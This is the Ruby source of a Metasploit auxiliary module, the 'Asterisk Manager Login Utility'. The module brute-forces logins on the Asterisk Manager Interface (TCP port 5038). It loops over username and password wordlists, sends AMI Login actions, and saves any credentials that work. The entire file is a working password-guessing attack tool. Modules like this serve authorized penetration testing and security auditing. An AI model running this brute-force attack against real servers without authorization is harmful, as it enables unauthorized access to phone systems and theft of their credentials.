134 lines
3.8 KiB
Ruby
134 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::AuthBrute
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Asterisk Manager Login Utility',
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'Description' => %q{
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This module attempts to authenticate to an Asterisk Manager service. Please note
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that by default, Asterisk Call Management (port 5038) only listens locally, but
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this can be manually configured in file /etc/asterisk/manager.conf by the admin
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on the victim machine.
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},
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'Author' =>
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[
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'dflah_ <dflah[at]alligatorteam.org>',
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],
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'References' =>
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[
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['URL', 'http://www.asterisk.org/astdocs/node201.html'], # Docs for AMI
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(5038),
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OptString.new('USER_FILE',
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[
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false,
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'The file that contains a list of probable users accounts.',
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File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
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]),
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OptString.new('PASS_FILE',
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[
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false,
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'The file that contains a list of probable passwords.',
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File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
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])
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], self.class)
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: 'asterisk_manager',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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last_attempted_at: DateTime.now,
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def run_host(ip)
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print_status("Initializing module...")
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begin
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each_user_pass do |user, pass|
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do_login(user, pass)
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end
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rescue ::Rex::ConnectionError
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rescue ::Exception => e
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vprint_error("#{rhost}:#{rport} #{e.to_s} #{e.backtrace}")
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end
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end
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def send_manager(command='')
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begin
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@result = ''
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if (!@connected)
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connect
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@connected = true
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select(nil,nil,nil,0.4)
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end
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sock.put(command)
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@result = sock.get_once || ''
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rescue ::Exception => err
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print_error("Error: #{err.to_s}")
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end
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end
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def do_login(user='',pass='')
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@connected = false
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begin
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send_manager(nil) # connect Only
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if @result !~ /^Asterisk Call Manager(.*)/
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print_error("Asterisk Manager does not appear to be running")
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return :abort
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else
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vprint_status("#{rhost}:#{rport} - Trying user:'#{user}' with password:'#{pass}'")
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cmd = "Action: Login\r\nUsername: #{user}\r\nSecret: #{pass}\r\n\r\n"
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send_manager(cmd)
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if /Response: Success/.match(@result)
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print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!")
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report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result)
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disconnect
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return :next_user
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else
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disconnect
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return :fail
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end
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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